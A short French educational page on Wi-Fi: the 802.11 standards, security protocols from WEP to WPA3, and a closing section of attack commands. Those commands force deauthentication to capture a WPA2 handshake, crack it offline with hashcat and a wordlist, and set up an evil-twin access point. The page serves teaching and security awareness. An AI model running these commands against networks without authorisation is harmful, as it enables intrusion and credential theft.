Wi-Fi — Réseau sans fil

Qu'est-ce que le Wi-Fi ?

Le Wi-Fi (norme IEEE 802.11) permet la connexion réseau sans câble via des ondes radio. Contrairement à Ethernet, le support est partagé et accessible à toute personne à portée — la sécurité logique (chiffrement) devient donc essentielle, contrairement au filaire où la sécurité physique suffisait historiquement.

Évolution des standards

802.11b   : 11 Mbps   (2.4 GHz)
802.11g   : 54 Mbps   (2.4 GHz)
802.11n   : 600 Mbps  (2.4/5 GHz) "Wi-Fi 4"
802.11ac  : 6.9 Gbps   (5 GHz) "Wi-Fi 5"
802.11ax  : 9.6 Gbps   (2.4/5/6 GHz) "Wi-Fi 6/6E"
802.11be  : "Wi-Fi 7" (en déploiement, multi-bandes simultanées)

Protocoles de sécurité

WEP   : CASSÉ depuis 2001 (clé statique, IV trop court)
WPA   : amélioration temporaire de WEP, déprécié
WPA2  : AES-CCMP, standard depuis 2004
WPA3  : SAE (remplace le 4-way handshake vulnérable),
        protection contre les attaques offline

Attaques courantes

# Capturer un handshake WPA2
airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 5 -a BSSID wlan0mon  # forcer reconnexion

# Cracker offline
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -a 0 -m 22000 hash.hc22000 rockyou.txt

# Evil Twin : faux point d accès
airbase-ng -e "WifiGratuit" -c 6 wlan0mon